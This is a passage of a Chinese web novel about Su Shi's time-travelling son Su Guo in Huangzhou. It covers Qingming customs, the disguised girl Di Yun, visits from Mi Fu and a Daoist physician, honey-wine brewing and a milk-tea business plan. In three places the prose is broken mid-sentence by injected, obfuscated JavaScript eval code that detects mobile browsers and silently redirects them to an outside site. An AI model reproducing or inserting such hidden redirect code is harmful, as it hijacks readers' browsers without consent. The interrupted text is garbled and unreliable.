不过这个节假日对于许多家庭来说需要安排的事情还是挺多的。 寒食节禁开火，需要提前准备冷食，还有祭祖扫墓，踏青郊游，可忙了。 苏过便提前准备了许多寒食。 毕竟这个时候对寒食节不开火的规定还挺严格的，相传禁火不严，会带来风雹等极端天气。 官府甚至会抽查，到各户人家里用鸡毛掸子试探灶膛，如果鸡毛被烤焦，户主就要受罚。 不过就算不开火，能做的好吃的也有许多。 北宋本身就有发展出“寒食十三绝”，姜丝排叉、硬面饽饽、糖卷馃、艾窝窝、马蹄烧饼、豌豆黄、螺蛳转儿、馓子麻花、驴打滚、糖火烧、糖耳朵、芝麻酱烧饼、萨其马。 可以说十分丰盛。 苏过着意增减，又做了凉面凉皮等，就算不开火，苏家的吃食也十分美味。 不过也幸好只禁火三天，如果像魏晋之前一样禁一个月，那估计很难找到能维系这么久的冷食了。 感谢曹孟德当年的严格管理与推行。 王氏安排人在门窗屋檐下都挂上柳枝，又找到苏过等人，要在他们头上也插上柳条。 不知是大了一岁还是莫名的羞耻心作祟，苏过强烈反抗不肯戴柳枝。 “俗语说，清明不戴柳，来生变黄狗，可得戴上。”王氏坚持。 苏过无法，想尽办法只争取到将戴在头上的柳条改为戴在手上。 见他的确不想戴，王氏只得由他绕在手上。 “儿大不由娘。”王氏自去忙别的事了。 苏过折腾着将柳条改成手串，绕在手上。 狄云也不愿戴在头上，学着苏过开始编手串，却控制不好力气，没两下就将柳条折断了，并不能很好弄成形状。 苏过见状，立马重新拿了个柳条，给狄云也编了一个。 “我们来镂鸡子吧。”苏过邀请狄云，在院子里摆上各色颜料，叫上苏二哥一起。 箪哥儿听到热闹也跑过来要一起参加。 镂鸡子算是寒食节经典活动，在鸡蛋上面涂色或作画送与他人。 苏过跟老苏学书画也有些时日，在画画方面很有一些天分，画景画人都很擅长。 毕竟做菜也需要摆盘雕刻，艺术方面苏过可是有基础的。 老苏擅长“士人画”，重神韵胜于形似，这也是这时代文人普遍偏好。 苏过师从亲爹，也是以写意画入门，老苏评价颇高。 但见识过许多现代画法的苏过并不局限于写意画，特意找来碳笔，为老苏展示了一番写真素描。 苏轼惊叹之余，却也点评匠气过重，不如写意画多矣。 苏过不置可否，每个时代审美不同，无需强求，反正写意画他也十分感兴趣。 不过今日在鸡蛋上作画，倒让苏过产生了个新想法。 寥寥几笔，就在一个个鸡蛋上画上了人物。 狄云凑过来一看，还只是觉得新奇。 苏二哥看了下，立刻大笑出声，将家里人都吸引了过来。 只见上面画的一个个人物，头大身子小，穿着特征与神态很容易就让人识别出画的是谁。 每个人物还针对性的设计了动作，老苏的版本就是正在张大嘴巴吃鸡腿。 样子好笑中带着一些可爱。 连苏轼自己看了都忍不住笑出来，“净画些奇奇怪怪的。” 嘴上这么说，老苏还是将鸡蛋拿走，自己摆在了书房。 众人继续作画，就连箪哥儿都拿笔将鸡蛋涂成了彩色，众人互相赠送了一波。 狄云还收到了来自箪哥儿专门给姐姐制作的彩虹蛋。 之前苏轼有联系府衙的人帮忙找狄云走失的家仆。 却并没有找到跟他描述一致的人。 众人只能猜测此人可能已经出城，无从寻找。 而狄云这么一个小孩子，又不可能让他一个人继续南下或返回汴京。 于是大家商议，让狄云继续在家住着，往他家里修书一封，再派人来接回家或是继续南下。 苏家人十分热情，狄云无法拒绝，而且苏过做的菜的确好吃，这里环境氛围都不错，狄云便待了下来。 众人互赠完鸡蛋，又说好后日一起踏青，各自歇息。 未免恩公无聊，苏过每天上课下厨都拉着他一起，又安排各种活动，简直不要太充实。 苏轼也很不介意多教一个。 而且狄云比苏过还小一岁，却十分聪慧，四书五经虽不算精通，但很有见解。 比起经义，对兵法更感兴趣。 苏家各种兵书库存丰富，苏轼在军事上十分有战略眼光与才干，给几人讲起用兵之道十分深入浅出。 别说狄云，苏过都听的津津有味。 没想到亲爹除了是个文学大佬，还是个军事能人来着。 也不奇怪，老苏他爹，苏过他亲爷爷，苏洵，可是写《六国论》的人。 苏洵十分好论兵，还写了本《权书》评论军事。 苏轼深受亲爹影响，从年少时便喜欢舞刀弄剑，熟读兵书，还曾经苦练射箭，用他自己的话说已经达到“十二把箭，吾能十一把箭耳”的水平。 也难怪当年他能和陈季常一见如故。 老苏的好友圈里，从武的也不在少数。 每个月那么多信件里，讨论的可不止诗词歌赋。 不说远的，去年官家攻打西夏，苏轼还替他一个好友滕元发代笔写了一篇《论西夏书》呢。 苦口婆心的劝神宗不要急着大规模发兵，不如利用西夏内乱，徐徐图之，分化瓦解。 神宗看了折子，十动然拒，一意孤行。 结果也的确如他们所料，兵连民疲，粮草不继，损失惨重。 事后神宗还后悔来着，但已经时不再来了。 狄云在军事上十分有天赋，苏轼与其问答时，时常能有不错的见解，而且对边疆情况十分熟悉。 苏轼猜测狄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564307|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云家里肯定有从武的人。 不过狄云平日里并不喜欢提起家中情况，大家发现后也都默契的不太多问。 苏家长辈都葬在眉州，山高路远，他们身在黄州，也无法扫墓，只能遥作祭拜。 清明时祭祖烧香完毕，众人便出发前去郊游，很是轻松游玩了一番。 老苏虽然一直才思敏捷，但今年尤其文思泉涌，每旬都有佳作产出，此次郊游更是又产出了好几首经典诗词。 当听着那些后世耳熟能详的经典被老苏创作出来，苏过简直恨不得拿台摄影机把这些经典录下来。 可惜，并没有这个条件。 只能在一旁围观，然后拼命为老爹打call了。 而清明节后不久，苏家一下子迎来了三位新客人。 大书法家米芾、绵竹道士杨世昌，以及一位跟老苏同病相怜的被贬官员董钺。 说来也巧，这几位都是慕老苏大名前来拜访，刚好遇到，便一同登门。 苏轼交友广泛，对新朋友自然更是来者不拒。 更何况，这几位都很对他胃口呢。 米芾是刚好游历到黄州，一直仰慕苏轼的书画，准备前来请教。 老苏平日里时常写字作画，后辈想要参观，自然是乐意至极。 带着众人前去书房，欣赏老苏的各种收藏，也包括一些他自己的得意之作。 苏过怎么能放过这样一个近距离接触北宋名人的机会呢，自然跟着到了书房。 苏轼可是开创了宋代“尚意”书风的人，书法主打一个笔随意动，其行文走字不仅是一种书法风格，更是随着诗文的意境在发挥，十分超然。 米芾看着苏轼的书法，赞叹连连，“我总感觉自己的书法困于匠气，少了些洒脱，如今一观，实在差之远矣。” 他在书法上苦耕多年，六七岁就开始学习书法，还曾临过苏轼的字帖来着。 不过总的来说还是走的唐代书法家颜真卿这些人的路子，书法已经小有名气。 苏轼让他写一副字来一观，苏过忙去帮忙磨墨。 米芾挥笔写下几行，正是刚刚看到的苏轼诗作。 苏过看一眼米芾的字，又看一眼老苏的字，感觉琢磨出点什么。 苏轼见他一副欲言又止的样子，“过哥儿你也学习书画有一阵子了，来看看可有所得？” 见老爹发话，苏过也不扭捏，直接对米芾道，“郎君书法技艺精湛，然形具意困。明明字里行间极具魏晋之风，却偏偏困于唐人规则之中，实在有点惋惜。” 苏过跟着老苏学习书法也有一阵，自然跟着亲爹的路子走。 虽然按苏轼的安排，目前还在临摹唐代字帖，练习控笔与塑形。但也已经见过许多魏晋书法，准备等形体具备后便专攻意境，争取写出自己的风格。 因此见到米芾写的字，又想到他之前说的话，自然一下子就明白其中关窍。 苏轼也点点头，劝米芾应该取法直追魏晋，不要再学唐人或近人。 米芾听了如醍醐灌顶，“倒是我一叶障目了。” 直呼此次来拜访受益匪浅。 苏轼正准备继续向他展示收藏的吴道子书画，却见钟叔一脸焦急来找他们，说沸春居出事了。 36. 第 36 章 往日里沸春居各项事宜都是王朝云和王氏在管理，但两人今日一起去礼佛了，并不在家。钟叔知道这家店其实是苏过的主意，便直接来找他了。 苏过听到说有人闹事也是很稀奇。 黄州民风淳朴，开店这么久倒还真没遇到过这种情况。 于是跟亲爹说了声便准备去看看。 “需要我一起去么？”苏轼听完，问儿子。 毕竟儿子虽然一直很有主意，但也只是个十岁孩子，若真有事，还是大人陪同比较好。 苏过想了下，拒绝了亲爹的好意，“家里有客人，爹你还是待在家里吧。钟叔陪我去就好。”又想了想，“我再把狄云叫上，应该问题不大。” 在苏家待了这么段时间，狄云的天生神力苏轼也有见识到，听儿子这么安排，想了下的确应该没什么问题，便放他自己去了。 实在不行找官府，黄州府衙他还是有人的。 苏过去叫上狄云，几人乘马车一同前往沸春居。 路上狄云和苏过已经从钟叔口里了解了事情经过。 却原来有一个富家公子哥儿模样的人带着书童来店里吃钵钵鸡，本来吃的好好的，还夸味道好，打赏了小二来着。 结果吃着吃着突然说肚子痛，一定是店里食材有问题，闹着要报官。 沸春居还是第一次遇到这种情况，掌柜也不在，店小二不知道怎么办，只能托人来请主家。 几人抵达时，就看到一个年轻人正坐在椅子上，虽一手抚着肚子，但并不像很难受的模样，倒是面上十分嚣张，正骂着店小二，“一定是你们食材有问题，也不用狡辩了，快去叫官府的来。” 旁边别的客人也被这景象唬的不知怎么办。 店小二在一旁伏低做小的解释。 见钟叔带着苏过来了，一脸见到救星的模样，“主家你们可算来了。” 年轻人随着小二看过来，却见他竟然是对着一个小孩喊主家。 本想奚落两句，却越看越觉得这小孩眼熟。 于是站起来朝苏过走过来，一手指着苏过，“你这小孩...”...是不是之前见过。 话还没说完，就见旁边另一个也有点眼熟的小孩一步跨过来，将他手往旁边一拧。 一阵锥心疼痛传来，“我的手！” 苏过在对方走过来时便认出来了，这是之前有过两面之缘的衙内蔡庄。 正准备相认一番，旁边狄云已经抢先一步出手了。 却原来狄云也认出来了这人，但上次蔡庄闹市骑马，差点撞到人后又仗势欺人，实在没留下什么好印象。 这次眼看着又是来闹事，还气势汹汹走过来指着苏过，一副挑衅的模样。 狄云想都不想便直接出手。 他本意只想将蔡庄的手打开不要碰到苏过来着。但一时没注意手劲儿，五分力气下去，对方的手就以奇怪的姿势扭住了。 蔡庄痛的说不出话来，眼看手应该是骨折了。 他的书童在一旁急的团团转。 苏过见状，只得让钟叔牵来马车，叫扶上蔡庄先回家去。 毕竟这种情况，还是要找个好医生处理一番，苏过第一时间只能想到找辩才法师了。 好在蔡庄也认出了苏过，又实在疼痛，点点头随苏过安排。 苏过跟店小二说了两句便急忙上马车离去。 几人走后，店小二向店里客人解释，又说影响大家用餐，主家承诺在座客人都有优惠。 苏家人在黄州也小有名气，客人哪有不满意的，都继续各自用餐。 这边苏过带着蔡庄回苏家，路上还抽空跟狄云解释了下他们后面的一饭之缘。 狄云依旧对此人印象不好，不过也是他不小心伤人，便不发一语待在一旁。 回到苏家，苏过一边扶着蔡庄去客房，一边让人去请辩才法师过来。 苏轼听到声音，过来看是什么情况，旁边跟着米芾和另一位客人。 他也认出了这是之前来黄州路上见过的衙内，又听说不小心手折了，“倒是巧了，世昌兄也擅长医术，可否麻烦帮忙诊治一番？” 另一位客人正是绵竹道士杨世昌，慕名前来拜访苏轼。 这位道士不但擅长画画、琴艺，还医术高超，是一名道医来着。 见蔡庄一直痛苦呼叫，绵竹道士也不推辞，上前检查了一番，发现并未骨折，只是脱臼了。 手下一用力，便将手恢复了原位。 蔡庄又被痛的一激灵，不过这之后，倒恢复许多，至少手上不痛了。 但手不痛之后，肚子上的痛就又明显起来。 绵竹道士听他描述完症状，一把脉，“你这是近日饮食不规律，胃气本就虚弱，又吃了辛辣刺激之物，才会突然疼痛。待我为你施针止疼。” 于是拿出随身携带银针，为蔡庄针灸，又推拿按摩腹部，不一会儿，蔡庄便面色平静下来，疼痛缓解。 辩才法师过来时，见病人已经得到诊治，道了声“阿弥陀佛”，和绵竹道士友好问好，两人又交流了下症状。 都下结论，问题不大，不过接下来一段时间要吃些清淡易消化食物，好生养一养。 待收针后，众人便离开，留空间给蔡庄与苏过几人。 除了胃部还略有不适，别的倒没啥问题了。 蔡庄也知道自己腹痛是这段时间饮食不规律所致，而不是沸春居食物问题。 不过他闹了个乌龙，也受了教训。 几人便默契的不再提。 苏过问他，“蔡兄怎会到黄州来，莫非是送海货来了。” 记得当时道别，蔡庄还说自己从晋江老家回来时会顺便来黄州给他送海货来着。 蔡庄也想起了自己当初的随口承诺，不好意思挠挠头，“倒是忘了，下次给你补上。” 然后解释自己这次是四处游学，刚好路过黄州。 书童在旁边欲言又止，被蔡庄瞪了一眼。 苏过假装没看见他俩的互动，热心劝道，“既然来了，那蔡兄就在我家住一阵吧，正好给你调理调理脾胃，不然继续奔波的话，病情恐怕还会加重呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568705|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 蔡庄一听很有道理，而且他也想起来之前这小孩儿做饭十分好吃，待几天也不妨事。 他本来也没啥急事，这次说是出来游学，其实是被他爹逼着上进科举，他实在不耐烦学那些经义，便哄了娘亲，说是出来游学，实则散心来着。 应下在苏家养病，蔡庄正准备继续跟苏过调侃几句，就见旁边之前把他手弄折的漂亮小孩正面色冷淡看着他。 心有余悸，而且再仔细一看，他也认出来这是曾经一拳打死他心爱的汗血宝马的小孩。 几年不见，倒是长得愈发好看了，就是这力气，真是让人胆战。 狄云和苏过站在一起，倒是让他也想起来之前马儿出事时，差点撞到的另外两个孩子，就有苏过。 这倒是让他不好意思起来。 “这位小兄弟叫什么呀？咱们倒是不打不相识了。” 见他显然已经想起来，狄云也不和他计较，简单回了两字，“狄云。” 苏过便也简单解释了下狄云为何在这儿。 几人再次重逢在黄州，倒也是一种缘分。 想到狄云的神力，蔡庄满脸好奇，“狄小兄弟是汴京人士么？家住哪里呀，这般天生神力，倒是稀奇。” 闻言苏过也很好奇，“狄兄弟家里应该有人从武吧。” 狄云突然被问，只得回答，“家里人的确有武将来着，所以耳濡目染。” “姓狄，武将，莫非狄小兄弟是狄青大将军后人？”蔡庄想了想问道，毕竟这般天赋，又姓狄，满汴京第一个想到的就是狄青后人了。 虽然狄青早年被贬又因病早逝。但作为第一个以武将之身当上枢密使的人，在北宋还是十分有名的。 而且神宗十分感念狄青的才干，亲自给近世将帅排名次，将狄青排在高位，称赞他“为人深沉而有谋略，又能谨小慎微，保全名声，有始有终”。狄青的画像现在还放在宫中，官家亲自给他写了祭文呢。 狄云很不想回答，但还是点了点头，“狄青是我祖父。” “哇，没想到你竟然是狄青大将军的孙子。”苏过惊叹出声，大名鼎鼎的面涅将军，他的半个偶像来着。 “狄大将军后人倒的确在汴京来着，难怪小兄弟天生神力。”蔡庄也附和，每个有那么一些游侠梦的青年，对狄青这种名将都是很崇拜的。 “狄兄弟你长这么好看，父亲是不是狄咏呀？”苏过记得狄青有个儿子狄咏，不但军事才能不错，后来还被称作“人样子”，出了名的长得帅。 狄云长得这么好看，一定随他爹。 狄云点点头。 苏过自认为判断准确，又对好朋友了解更多一些，非常开心的说先去准备晚饭，给蔡庄做一些清淡好消化的饭食。 本想叫上狄云一起。却被蔡庄留住，说有些事想跟狄云聊一聊。 苏过不疑有他，自己去了厨房。 等苏过一走，蔡庄立马看向狄云， “你到底是谁？狄咏和清河郡主只有一个女儿，可没听说有这么大一个儿子来着。” 37. 第 37 章 狄咏早年由英宗亲自赐婚，娶清河郡主为妻。 两人一个是汴京第一美男子，一个是汴京第一美女，属于京城的明星夫妻，大家都有关注来着。 当时英宗的宝安公主还对狄咏心生好感想要下嫁。 不过英宗考虑许久还是没舍得嫁女儿，赐婚了清河郡主。 倒是成全了一对佳偶，两人婚后十分恩爱。 而这对夫妻，只有一个女儿。 蔡庄一个京城衙内，成天到处晃悠，这点消息还是很清楚的。 所以当狄云说他父亲是狄咏时，蔡庄一下子就察觉了不对。 趁苏过不在，蔡庄准备质问清楚。 “你到底是谁？” 狄云愣了一下，没想到竟然还能遇到知晓内情的人。 正准备想个理由糊弄过去，但偏偏一下子并不能找到十分合理的解释。 转念一想，为什么自己要解释，苏过也不在，甚至连书童都出去了，这里只有自己和蔡庄两人。 往前一步，抓住蔡庄胳膊，稍微一用力，蔡庄便哭号起来。 “我是谁不重要，你只要记住，我叫狄云，是狄咏的儿子就好。” 蔡庄连忙求饶道，“记住了记住了。” 将手松开，狄云坐到一旁凳子上，轻轻整理衣袖。 蔡庄揉了揉被捏痛的胳膊：力气大了不起啊，竟然威胁人，看他不找机会告诉苏过。 然后往旁边一看，狄云雌雄莫辨的脸上因刚刚的情急，眼角泛上一些粉红。 这么小的孩子，虽然长得十分好看，蔡庄还不至于生出什么心思，只是这脸，越看越觉得狐疑。 “你不会就是狄咏的女儿吧？！”蔡庄低声问道。 狄云整理衣袖的手一顿，“不关你的事，”又扬了扬拳头，“管好自己的嘴巴，不许告诉苏过。” 她在黄州待了这段时间，很喜欢苏家众人，并不想因身份问题引起什么风波嫌隙。 蔡庄自觉发现了一个秘密，而且看来也不是什么有危害的大问题，立马点了点头，“我绝不告诉苏过。” 因着这个秘密，他自觉和狄云亲近了几分，便催她，“你去厨房看看，苏过的菜做好没，我都有点饿了。” 狄云瞪了他一眼，出门去找苏过。 这会儿苏过正在厨房盯着做晚膳。 家里新来了几位客人，总要好好招待一下。 米芾是湖北襄阳人，而绵竹道士出身西蜀，想必口味也很一致。 还有个董钺和他的新婚妻子，不过他之前在四川夔州任转运使，刚刚被免职，口味上应该也能吃辣。 说起来董钺也是很惨，刚和妻子成亲三天便被人诬陷免了官。 如今无官一身轻，正准备回江西老家。 董钺自己倒是很看得开，自觉上不负朝廷，下不负百姓，问心无愧。 苏轼很为这种精神感动，热情挽留二人多住几天，又有感而发，诗词相赠。 刚好今日钟婶在市场上买了两只野兔回来。 如今天气变暖，许多小动物都出来活动，时不时便有人猎到野味拿来售卖。 啊，兔兔，做麻辣兔丁呢还是麻辣兔头呢。 苏过亲自下厨做了份麻辣兔丁，年前的火腿刚好还剩一些，之前冬笋正当季时，基本都给老苏做腌笃鲜了，不过如今冬笋已经结束，所卖多为春笋。 春笋涩口，虽然也有许多去涩味小妙招，但苏过总觉得不如冬笋鲜甜，不想将就。 这会儿倒是想到了一个新菜。 取来酒酿，将火腿切薄片，放入酒酿、白糖一起蒸制。 最终成品火腿红润、酒酿洁白，将火腿的咸香与酒酿的甘醇完美结合，口感层次十分丰富。 而且这道菜气血双补、健脾开胃，蔡衙内也可以吃一些。 当然，麻辣兔丁什么的他肯定是无缘了。 厨房又做了些其它菜色，所有人吃的很是尽兴。 吃到酒酿火腿，绵竹道士突然感慨，“今日众人相聚于此，很是有缘，可惜无酒，倒不能尽兴庆贺了。” 苏轼一听，忙叫人去取酒来。 老苏十分好酒，但自己平日里喝的并不多，尤其被苏过盯着养生后，更是许久未曾碰酒了。 家中仅放有几坛官家酒坊的白酒。 不过客人既然提了，当然要喝两杯助兴。 只是端上酒杯，刚喝了一口，绵竹道士便皱眉问道：“此谓何酒？实在苦涩难以入口。” 苏轼笑道，“此乃官家酒坊的酒，味道自然不如私酿。如今官府搜捕甚是严格，黄州可不好买到私酿好酒。” 在北宋，对酒的管控十分严格。 酒水属于垄断产业，只有官府设立的“酒务”、“酒库”等才有资格酿酒。 汴京等少数地方，商户如果从官府获得榷曲资格，也可以购买酒曲自行酿酒。 别的商户和个人，就只能从这些地方买有资格的官酒了。 如果被抓到私自酿酒，处罚是很严重的。私自酿酒三斗、造酒曲十五斤，根据律法，都要处以极刑。 但官酒大多口味一般还卖的很贵，产量也十分有限。 像黄州这种偏远地方，官酒都很难买到。 各户人家基本上都自己做米酒，或者少数有酒曲以及会酿酒的，亲朋好友间悄悄流通。 老苏虽然好友众多，但之前毕竟是被贬到此处，不愿折腾连累好友，他又喝酒不多，便也没怎么关注。 如今被新交的好友吐槽，苏轼一时半会儿也没办法。 苏过本想拿出之前自酿的米酒。 却听绵竹道士大笑出声，“这有何难，我有家传的蜜酒制法。改日自酿几坛便好。” 苏轼闻言很是惊喜，“若果真如此，倒有口福了。” 众人将官酒放到一边，只聊天吃饭，倒也尽兴。 苏过对蜜酒的做法很感兴趣。第二天便催了老苏一起去找绵竹道士学酿蜜酒。 绵竹道士也不藏私，将制酒步骤仔细讲解。 蜂蜜与糯米一起分阶段发酵，根据发酵过程的味道，不断调整放入米饭的用量，六天就能酿好。 苏过和苏轼都听的很是认真。 群众的智慧果然是巨大的。 官府严格控制酒曲，大家就研究出来了不需要酒曲的酒。 不过这也让苏过想起了另一种不需要酒曲的酒，葡萄酒也是自然发酵来着。 等今年葡萄成熟时倒可以制作一批。 不过目前先把蜜酒学会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574711|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏轼与苏过跟着绵竹道士的指导，各自制作了一批蜜酒。 老苏对自己的技术很是自信，“待六日后且尝尝我的手艺。” 苏过但笑不语。 之后苏轼每日都要去看看自己的酒进展如何。 待到第三日中途尝味道时，更是夸自己的酒一打开香味简直不同凡响。 本来米芾和董钺准备拜访苏轼后过两日便离开的，被老苏苦劝留下来尝尝自己亲手做的蜜酒。 待到第六日，终于开瓮，苏轼给叫过来的好友各倒了一杯。 自己兴冲冲的一饮而尽，结果皱起眉头，这酒一股苦味，跟屠苏药酒差不多。 其他人跟着尝了尝，都露出不忍的表情。 苏过于是打开自己酿的蜜酒。 他一个小孩子自然不能饮酒，只能让大家代为品尝。 说也奇怪，明明一样在绵竹道士指导下酿的酒，苏过做的这坛就十分香甜醇厚。 大家喝了纷纷称赞。 苏轼此时却开始嘴硬了，“甜酸甘苦，酒肉不过穿肠过，能醉人就好，管它口味呢。” 于是又喝了几杯自己酿的蜜酒，也是很倔强了。 苏过不理会亲爹突发的小性子。准备去厨房做一点奶茶。 大人们有自己的客人，饮酒作乐。 他小孩子不能喝酒，也是有自己饮品的好么。 蔡衙内正在养胃不能饮酒，正好，尝尝黄州这边流行的奶茶。 苏过做好，拿了几杯准备给老苏等人解一解酒。 就看到房间里只剩米芾和绵竹道士等人，苏轼不见踪影。 给大家分好奶茶，老苏才回到房间，一脸痛苦。 “爹你怎么了？”苏过扶亲爹坐下。 苏轼腿软的坐在软塌上，“好像有些腹泻。”这已经是他第四次去茅房了。 绵竹道士见状给他把了把脉，“你这是吃了不干净的东西引起的呀。” 不干净的东西？ 老苏中午还好好的，整个下午，也就喝了点酒呀。 “难道是蜜酒？”苏过疑惑，可是其他几人也都有喝蜜酒呀，怎么就老苏一个人拉肚子。 绵竹道士也仔细回忆了下，“很有可能，应该就是子瞻酿的那坛蜜酒。” 苏过回想了下，差点笑出来。 虽然几人都喝了蜜酒，但大家喝的都是他酿的那坛，就老苏嘴硬，非要喝自己酿的来着。 其他人也都想到了这点，纷纷笑出声来。 苏轼也扶额，真是服了这运气。 最后还是绵竹道士施针给老苏止了腹泻。 苏过猜测，估计是这几日酿酒，老苏总是开坛去看，混入了细菌才导致腹泻的。 不过不愧是苏轼，越战越勇，竟然还说明日要继续酿酒。 苏过鼓励了两句，便去找自己的小伙伴们喝奶茶了。 蔡庄还是第一次喝到这种甜甜的茶，牛乳与茶香完美结合，还有软糯又有嚼劲的丸子，有这个味道，谁还要喝苦苦的茶呀。 “黄州这种偏远地方竟然还有这么好喝的东西，我在汴京都没喝过，简直太不应该了。”蔡庄吐槽。 苏过闻言倒是心里一动，的确太不应该了。 奶茶，汴京也应该有呀。 38. 第 38 章 黄州的奶茶店生意不错，不过离火爆还有一些距离。 毕竟一杯好的奶茶需要加入大量牛乳和糖，就算茶叶是本地种植，加起来成本也不低。 纵然苏过并不为赚钱，没什么利润，奶茶的价格也算不上低廉。 现在的客流基本还是以行商与富户为主，普通百姓还在保温饱、争小康的路上，攒上许久才舍得买一杯奶茶甜甜嘴。 如果奶茶店能开在汴京的话就很不一样了。 京城的官员富户多如牛毛，就连百姓的家底也是别处不能比拟的。 都说汴京人嗜甜，这何尝不是因为汴京人吃得起甜食呢。 但在京城开店也不是易事，沸春居有李掌柜照料，又凭借着苏过的火锅底料配方站稳了脚跟，之后的辣椒更是让沸春居的人气上了一层楼。 饶是如此，去年底李掌柜写来的信也提到新开了好几家类似的火锅店。 口味不如沸春居，但也分走了部分客流。 如果要再开一家奶茶店，李掌柜恐怕没有精力照料，苏家也没有在京城的人手。 更何况在汴京，十家店九家有靠山，苏家只能算是小虾米。 王家侄子连推广白糖都选择先不去汴京来着，实在是水太深。 新品固然有噱头，但能不能保住就是另一说了。 苏过虽然不在乎赚钱，没有成为北宋沈万三的豪情壮志，但也不想给别人做嫁衣。 他的目标是覆盖更多顾客，赚取满意值来着。 所以如果要在京城开奶茶店，顺便也为白糖生意找个靠山，找一个靠谱的合伙人就很重要了。 苏过将目光投向正美美享受奶茶的蔡衙内。 “蔡兄觉得这奶茶口味如何？” 蔡庄本就爱吃爱喝，对奶茶十分喜爱，“非常好，在我喝过的饮子里可以排第一了。” “那如果在汴京开店卖这种饮子，蔡兄觉得怎么样？”苏过继续问道。 “那当然好啦，如果汴京开店，我一定天天光顾。”蔡庄不疑有他。 苏过听了，假装长叹一口气，“可惜我家在汴京并无太多人脉，实在不便经营一家奶茶店。” 热心人儿蔡衙内哪能听这种话，“这有何难，你若想做这门生意，我替你安排就好。” 他在京城也不是只吃喝玩乐的，各种人脉资源不少，开家店并不费什么事，更何况这奶茶实在好喝，要是他一起开店，那不是想喝到更加方便。 反正他也对科举什么的没兴趣，还不如做点别的事玩玩。 见蔡庄这么上道，苏过反而有点不好意思了。 不过这本来就是互惠互利的事情，而且他也不止奶茶一样生意，若真的合作愉快，多得是赚钱法子一起发财呢。 于是他拍了拍蔡庄的肩膀，“好兄弟，今天再给你做点好吃的尝尝。” 接下来几天，苏过给蔡庄变着法儿的做甜品，什么冰糖葫芦、白糖糕、拔丝地瓜、拔丝苹果。 就连奶茶都各种口味煮了个遍。 蔡衙内吃喝的十分满足，“奶茶竟然还有这么多样式，简直喝不厌呢。” “那当然，这些都是用不同的茶叶熬制的，蔡兄觉得这些茶的味道如何？”苏过问道。 “各有千秋，从清香到醇厚味道不一，想必茶叶本身就是精品。”蔡庄的舌头也是很灵的，他虽不爱喝茶，但还是很会品茶的。 听完，苏过将准备好的茶叶拿出来，“那蔡兄你看，我们包装下，将奶茶营销的更上一层楼如何？” “哦，如何包装？”蔡庄听的生了几分兴趣。 “这几种茶底都是我反复尝试选出来的，用来做奶茶正好，若要在汴京开店，这配方自然要保持一致，那我们用的茶叶，就要打出名气，才能让奶茶的品味更有优势。”苏过将自己的计划缓缓道来。 “你的意思是，我们除了卖奶茶，还要推广这几种茶叶？”蔡庄脑子一转，也明白过来。 没错，苏过就是准备将黄州的茶叶推广出去，不但要有名气，还和奶茶捆绑，把销路也一起打包。 不然如果单单做奶茶，他有好多种配方。 现代奶茶业兴盛，什么“粥党”“茶党”“水果党”百花齐放，奶茶里面加各种小料水果，分分钟数百种饮子。 想要仿制，并不是难事。 但苏过并不想这么早推出这些。 毕竟北宋人好风雅，比起各种小料甜品，纯茶底更有逼格，也方便操作。 现代霸X茶X不也是靠着纯奶茶爆火的么。 而且他还有个私心，随着奶茶的推广，将黄州的茶叶一起推广出去。 这两年，跟着亲爹一起为黄州百姓的丰收忙碌，苏过心里已经把黄州当成了半个家乡。 一期又一期的《黄州小刊》推出，苏轼的人气在这边已经到了顶流的程度。 黄州百姓极其热情，哪家杀了猪，捡到点稀奇山货都喜欢送一些来苏家。 在这种环境下，苏过也想让黄州的百姓过的更好一些。 不只是种种红薯棉花吃饱穿暖，最好也能喝得起奶茶吃得起糖。 而这个愿望，需要黄州打造出一些属于自己的高端特色产品，有溢价才能赚钱。 山货药材是一样，另一样，就是黄州的茶叶了。 像之前苏过研究奶茶时了解到的，英山云雾茶、黄州白茶、红安红茶都很出色，这些茶叶在后世也是有名气的。 现在不过是将原本就很好的东西，想办法告诉别人而已。 就跟白糖一样，写写软文搞点营销。 认准这个茶，别的自然就少了那么一点味道。 听完苏过的营销方案，蔡庄啧啧称奇，“你们这些读书人真会玩，不过也有点意思。” 还有一样东西，蔡衙内想起来，“那个白糖糕用的白糖也是你弄出来的么？听说在江南一带十分受欢迎，汴京好多人想买都买不到呢。” 对于未来的大腿，优质合作伙伴，苏过自然不藏着掖着，“是我和别人一起合作的，蔡兄如果也感兴趣，咱们可以一起在汴京售卖。” 王家侄子也正愁汴京的销路呢，毕竟不是他不想卖，只是担心到了汴京被人逼着要制作方法反而丢了财路。 但有蔡庄合伙就不一样了，他爹可是副相。 